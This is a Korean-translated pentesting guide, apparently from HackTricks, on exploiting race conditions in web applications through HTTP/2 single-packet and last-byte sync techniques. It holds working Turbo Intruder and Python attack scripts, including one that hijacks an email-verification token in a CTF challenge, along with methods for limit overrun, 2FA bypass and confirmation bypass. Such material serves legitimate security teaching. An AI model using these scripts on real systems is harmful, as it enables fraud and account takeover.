# Race Condition {{#include ../banners/hacktricks-training.md}} > [!WARNING] > 이 기술을 깊이 이해하려면 원문 리포트 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)를 확인하세요. ## Race Condition 공격 고도화 주요 장애물은 여러 요청이 거의 동시에 처리되도록 만드는 것입니다. 처리 시간 차이가 매우 작아야 하며—이상적으로는 1ms 미만이어야 합니다. 요청 동기화를 위한 몇 가지 기법은 다음과 같습니다: #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization - **HTTP/2**: 단일 TCP 연결로 두 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측 변동 때문에 두 요청만으로는 일관된 race condition 익스플로잇을 보장하지 못할 수 있습니다. - **HTTP/1.1 'Last-Byte Sync'**: 20~30개의 요청의 대부분을 미리 전송하고 작은 조각을 보류한 다음, 그 조각들을 함께 전송해 서버에 동시에 도착하도록 만드는 방식입니다. **Preparation for Last-Byte Sync** involves: 1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송합니다. 2. 초기 전송 후 100ms 동안 대기합니다. 3. 최종 프레임 배치를 위해 TCP_NODELAY를 비활성화하여 Nagle's algorithm을 활용합니다. 4. 연결을 워밍업하기 위해 ping을 수행합니다. 보류한 프레임을 이후에 전송하면 단일 패킷으로 도착하는 것을 Wireshark로 확인할 수 있어야 합니다. 이 방법은 일반적으로 RC 공격에 사용되지 않는 static files에는 적용되지 않습니다. ### 서버 아키텍처에 맞게 조정 대상 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 줄 수 있습니다. 중요하지 않은 요청으로 사전 서버 측 연결 워밍업을 수행하면 요청 타이밍을 정규화할 수 있습니다. #### 세션 기반 잠금 처리 PHP의 session handler와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 가릴 수 있습니다. 각 요청에 대해 서로 다른 session 토큰을 사용하면 이 문제를 회피할 수 있습니다. #### Rate 또는 자원 제한 극복 연결 워밍업이 효과적이지 않다면, 더미 요청을 대량으로 보내 웹 서버의 rate 또는 자원 제한 지연을 의도적으로 유발하면 서버 측 지연이 생겨 single-packet attack에 유리해질 수 있습니다. ## 공격 예시 - **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: 요청을 **Turbo intruder**로 보낼 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`). 요청에서 브루트포스할 값인 **`%s`**를 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`처럼 변경한 다음 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택하세요:
값을 **다르게 전송하려는 경우**, 클립보드에서 워드리스트를 사용하는 다음 코드로 수정할 수 있습니다: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` > [!WARNING] > 웹이 HTTP2를 지원하지 않고(오직 HTTP1.1만 지원하는 경우) `Engine.BURP2` 대신 `Engine.THREADED` 또는 `Engine.BURP`를 사용하세요. - **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 만약 RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 이어서 다른 여러 엔드포인트에 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` - 또한 Burp Suite의 **Repeater**에서 새로운 '**Send group in parallel**' 옵션을 통해 사용할 수 있습니다. - **limit-overrun**의 경우 그룹에 **같은 request를 50번** 추가하면 됩니다. - **connection warming**을 위해 그룹의 **시작 부분**에 웹 서버의 비정적 부분에 대한 몇 개의 **requests**를 **추가**할 수 있습니다. - 2 substates 단계에서 한 **request**를 처리한 다음 다른 **request**를 처리하는 과정 사이를 **지연**시키려면, 두 **request** 사이에 추가 **requests**를 넣을 수 있습니다. - **multi-endpoint** RC의 경우, **hidden state**로 가는 **request**를 먼저 보내고 그 직후에 **50 requests**를 보내서 **hidden state**를 악용할 수 있습니다.
- **Automated python script**: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 검증 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다 (코드 상에서 이메일을 수정할 수는 있지만 검증이 이전 이메일로 전송되는 RC가 관찰되었기 때문이며, 이는 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\ 수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 검증 토큰을 받은 것으로 판단하고 공격을 종료합니다. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Single Packet Attack 개선 원래 연구에서는 이 공격이 1,500 bytes의 제한이 있다고 설명합니다. 하지만 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)에서는 IP layer fragmentation을 사용해 single packet attack의 1,500-byte 제한을 TCP의 **65,535 B window limitation**까지 확장하는 방법(단일 패킷을 여러 IP 패킷으로 분할하고 서로 다른 순서로 전송하여 모든 프래그먼트가 서버에 도달할 때까지 재조립을 방지)이 설명되어 있습니다. 이 기법을 통해 연구자는 약 166ms 만에 10,000개의 요청을 전송할 수 있었습니다. 이 개선으로 수백/수천 개의 패킷이 동시에 도착해야 하는 RC 공격의 신뢰성이 높아지지만, 소프트웨어적 한계도 있을 수 있습니다. Apache, Nginx and Go 같은 일부 인기 있는 HTTP 서버는 `SETTINGS_MAX_CONCURRENT_STREAMS`를 각각 100, 128, 250으로 엄격하게 설정합니다. 반면 NodeJS와 nghttp2 등은 제한이 없습니다. 이것은 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 의미이며(이 RC 공격을 제한함) 결국 공격의 효과를 떨어뜨릴 수 있습니다. 이 기법을 사용한 예제는 레포 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)에서 확인할 수 있습니다. ## Raw BF 이전 연구 이전에는 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 사용되었습니다. - **Repeater:** 이전 섹션의 예제를 확인하세요. - **Intruder**: **request**를 **Intruder**로 전송하고, **Options menu**에서 **number of threads**를 **30**으로 설정한 뒤, 페이로드로 **Null payloads**를 선택하고 **30**을 생성합니다. - **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` - **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **RC Methodology** ### Limit-overrun / TOCTOU This is the most basic type of race condition where **취약점** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.** There are many variations of this kind of attack, including: - 기프트 카드를 여러 번 사용하는 경우 - 제품을 여러 번 평가하는 경우 - 계좌 잔액을 초과하여 현금을 인출하거나 이체하는 경우 - 단일 CAPTCHA 솔루션을 재사용하는 경우 - 브루트포스 방지 rate limit을 우회하는 경우 ### **Hidden substates** Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **의도치 않은 machine substates**. Here’s how to approach this: 1. **Identify Potential Hidden Substates** - Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on: - **Storage**: 서버측 영속 데이터를 조작하는 엔드포인트를 클라이언트 측에서 데이터를 처리하는 엔드포인트보다 우선적으로 살펴보세요. - **Action**: 기존 데이터를 변경하는 작업을 찾아보세요. 새 데이터를 추가하는 작업보다 exploit 가능한 조건을 만들 가능성이 큽니다. - **Keying**: 성공적인 공격은 보통 동일한 식별자(예: username 또는 reset token)에 키가 걸린 작업이 관련됩니다. 2. **Conduct Initial Probing** - 식별한 엔드포인트에 대해 race condition 공격을 시도하여 기대한 결과와의 편차를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 나타낼 수 있습니다. 3. **Demonstrate the Vulnerability** - 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 축소하세요. 종종 필요한 것은 단 두 번의 요청뿐입니다. 이 단계는 정밀한 타이밍이 요구되므로 여러 번의 시도나 자동화가 필요할 수 있습니다. ### Time Sensitive Attacks 요청 타이밍의 정밀성은 취약점을 드러낼 수 있습니다. 특히 타임스탬프와 같이 예측 가능한 방식이 보안 토큰에 사용될 때 그렇습니다. 예를 들어, 타임스탬프에 기반한 password reset tokens 생성을 사용하는 경우 동시 요청에 대해 동일한 토큰이 만들어질 수 있습니다. **To Exploit:** - 단일 패킷 공격과 같은 정밀한 타이밍을 사용해 동시 password reset 요청을 생성하세요. 동일한 토큰이 반환되면 취약점이 있음을 의미합니다. **Example:** - 동시에 두 개의 password reset tokens를 요청하여 비교하세요. 토큰이 일치하면 token 생성에 결함이 있음을 시사합니다. 이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)를 확인하세요. ## Hidden substates case studies ### Pay & add an Item 이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인해 상점에서 결제하고 추가 항목을 결제하지 않고 얻는 방법을 살펴보세요. ### Confirm other emails 아이디어는 **이메일 주소를 verify하고 동시에 다른 주소로 변경**하여 플랫폼이 변경된 새 주소를 실제로 인증하는지 확인하는 것입니다. ### Change email to 2 emails addresses Cookie based According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**. 이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)를 확인하세요. ### Hidden Database states / Confirmation Bypass If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**. 따라서 **계정을 등록하고 빈 token으로 여러 요청을 전송하는 것**(`token=` or `token[]=` or any other variation`)으로 계정을 즉시 확인하려고 하면, 이메일을 제어하지 못하는 계정을 **확인(confirm an account)** 할 수 있게 될 가능성이 있습니다. 이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)를 확인하세요. ### Bypass 2FA The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 영구 지속성 There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 이러한 서비스들은 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 **client**는 **애플리케이션이** 해당 **OAUth provider** 내부의 일부 데이터에 접근하는 것을 허용해야 합니다.\ 여기까지는 google/linkedin/github 같은 일반적인 로그인으로, "_Application \가 귀하의 정보를 액세스하려 합니다. 허용하시겠습니까?_"라는 페이지가 표시됩니다. #### Race Condition in `authorization_code` 문제는 사용자가 이를 **허용**하면 자동으로 **`authorization_code`**가 악성 애플리케이션으로 전송될 때 발생합니다. 이후 이 애플리케이션은 OAUth 서비스 제공자에서 Race Condition을 악용해 해당 계정의 **`authorization_code`**로부터 둘 이상의 AT/RT (_Authentication Token/Refresh Token_)을 생성합니다. 기본적으로 사용자가 애플리케이션의 데이터 접근을 허용했다는 점을 악용해 **여러 계정**을 생성합니다. 그런 다음 사용자가 애플리케이션의 접근 권한을 취소하면 한 쌍의 AT/RT는 삭제되지만, 다른 토큰들은 여전히 유효한 상태로 남아 있을 수 있습니다. #### Race Condition in `Refresh Token` 유효한 RT를 얻으면 이를 악용해 여러 AT/RT를 생성하려 시도할 수 있으며, 사용자가 악성 애플리케이션의 접근 권한을 취소해도 여러 RT가 여전히 유효한 상태로 남을 수 있습니다. ## **RC in WebSockets** - In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. - With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). ## References - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) - [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) - [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) - [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) - [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) {{#include ../banners/hacktricks-training.md}}